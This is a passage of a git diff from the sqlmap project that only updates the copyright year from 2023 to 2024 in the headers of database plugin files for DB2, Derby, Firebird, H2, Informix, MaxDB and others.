a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index bf4d5c5bac7..7f3df980642 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 14e6a56ca97..58752ca10d2 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index b6b6c633dc8..b995549f465 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index bcbc4b5e11d..53678c11e9f 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py index 4e1362b8aee..54192584449 100644 --- a/plugins/dbms/derby/__init__.py +++ b/plugins/dbms/derby/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py index 004fb2ec83f..22ddc657b09 100644 --- a/plugins/dbms/derby/connector.py +++ b/plugins/dbms/derby/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py index 58dbf9f5901..d2e8819f916 100644 --- a/plugins/dbms/derby/enumeration.py +++ b/plugins/dbms/derby/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py index bf4d5c5bac7..7f3df980642 100644 --- a/plugins/dbms/derby/filesystem.py +++ b/plugins/dbms/derby/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py index 19d6f4c7c10..fbaa9a4a781 100644 --- a/plugins/dbms/derby/fingerprint.py +++ b/plugins/dbms/derby/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py index b53aa83ad0a..de0a0d2400c 100644 --- a/plugins/dbms/derby/syntax.py +++ b/plugins/dbms/derby/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py index 4628871efcf..36e046b53f1 100644 --- a/plugins/dbms/derby/takeover.py +++ b/plugins/dbms/derby/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py index ecc67a1e539..c8923253742 100644 --- a/plugins/dbms/extremedb/__init__.py +++ b/plugins/dbms/extremedb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py index 4b1cf53fb59..c50f69289f2 100644 --- a/plugins/dbms/extremedb/connector.py +++ b/plugins/dbms/extremedb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py index c1440dcf64e..837250995d2 100644 --- a/plugins/dbms/extremedb/enumeration.py +++ b/plugins/dbms/extremedb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py index 99f47dd3bdf..bdecb37e6ba 100644 --- a/plugins/dbms/extremedb/filesystem.py +++ b/plugins/dbms/extremedb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py index f0e419a251b..0bb3d1f1fc7 100644 --- a/plugins/dbms/extremedb/fingerprint.py +++ b/plugins/dbms/extremedb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py index b53aa83ad0a..de0a0d2400c 100644 --- a/plugins/dbms/extremedb/syntax.py +++ b/plugins/dbms/extremedb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py index 0796d3613ae..d133fddb495 100644 --- a/plugins/dbms/extremedb/takeover.py +++ b/plugins/dbms/extremedb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index a6155b614f2..cded310729a 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 28b0aa682ff..a654cc0add6 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 2bf8626174f..c9bf42e66b9 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index f92c3d7acd1..f121a5f5f73 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index b6ddb1c4d8b..ac3192f6c36 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index 56831d72ec5..2b93280915d 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 6ded0437213..85b7063eb5d 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py index 53f9a22a8f5..93aad06edac 100644 --- a/plugins/dbms/frontbase/__init__.py +++ b/plugins/dbms/frontbase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py index 4e25dd9516c..22e548a2b0a 100644 --- a/plugins/dbms/frontbase/connector.py +++ b/plugins/dbms/frontbase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py index 88596caac17..be693126ebf 100644 --- a/plugins/dbms/frontbase/enumeration.py +++ b/plugins/dbms/frontbase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py index ca58e1c5002..f2d3bd2c743 100644 --- a/plugins/dbms/frontbase/filesystem.py +++ b/plugins/dbms/frontbase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py index 06d03371f13..b4a141caaf6 100644 --- a/plugins/dbms/frontbase/fingerprint.py +++ b/plugins/dbms/frontbase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py index b53aa83ad0a..de0a0d2400c 100644 --- a/plugins/dbms/frontbase/syntax.py +++ b/plugins/dbms/frontbase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py index 9eb74a13b32..d5559f4efe6 100644 --- a/plugins/dbms/frontbase/takeover.py +++ b/plugins/dbms/frontbase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index f570b406c83..a204eef1269 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index f72a9ad4d76..711583f3938 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index d833de65c91..ca0ea3a0002 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index 42a8943eef0..5ad6f4a6c99 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 87092610ae7..b27a3b9d0af 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index 27a7f0ddf58..e9514b006d7 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 556a11c76bb..0fd0b379dcb 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index 46745fa794f..0cb1cd4c3ec 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 3f46a69b7df..bd900f434c2 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 06e0397c252..7f35198c3e3 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index 881074640a6..3c02e71b097 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 86aa0aeaa98..e8dd9942c63 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index 27a7f0ddf58..e9514b006d7 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index 99a8a03ce59..13809bf8313 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index ca2f8f1efdb..3fdf1d4994d 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 7b75e405143..8f77b23f1d5 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index f878f27e7f9..5f8db6f8a21 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index bf4d5c5bac7..7f3df980642 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index c190fa080c9..a6cdfd5056b 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index a7e307bf482..9f80a853f7a 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index bcbc4b5e11d..53678c11e9f 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 6ab3b3d8782..438dc78bce1 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 14d22ee24e4..03c245ac2e6 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index a83b9c2fafa..b676f690a4f 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index d06d159cd2d..837293729f0 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 2f8788ac7f0..a60bc659510 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index b53aa83ad0a..de0a0d2400c 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 0a51217c229..2b657e8a2c5 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py index 3e41787ec80..c52814bd9c9 100644 --- a/plugins/dbms/mckoi/__init__.py +++ b/plugins/dbms/mckoi/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py index 128c77b2d6b..cb0956cda6b 100644 --- a/plugins/dbms/mckoi/connector.py +++ b/plugins/dbms/mckoi/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py index 3b902808320..7f18884295e 100644 --- a/plugins/dbms/mckoi/enumeration.py +++ b/plugins/dbms/mckoi/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py index 49ea280bef9..3a55edac967 100644 --- a/plugins/dbms/mckoi/filesystem.py +++ b/plugins/dbms/mckoi/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py index a3bfde48f33..c31da941bdb 100644 --- a/plugins/dbms/mckoi/fingerprint.py +++ b/plugins/dbms/mckoi/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py index b53aa83ad0a..de0a0d2400c 100644 --- a/plugins/dbms/mckoi/syntax.py +++ b/plugins/dbms/mckoi/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git 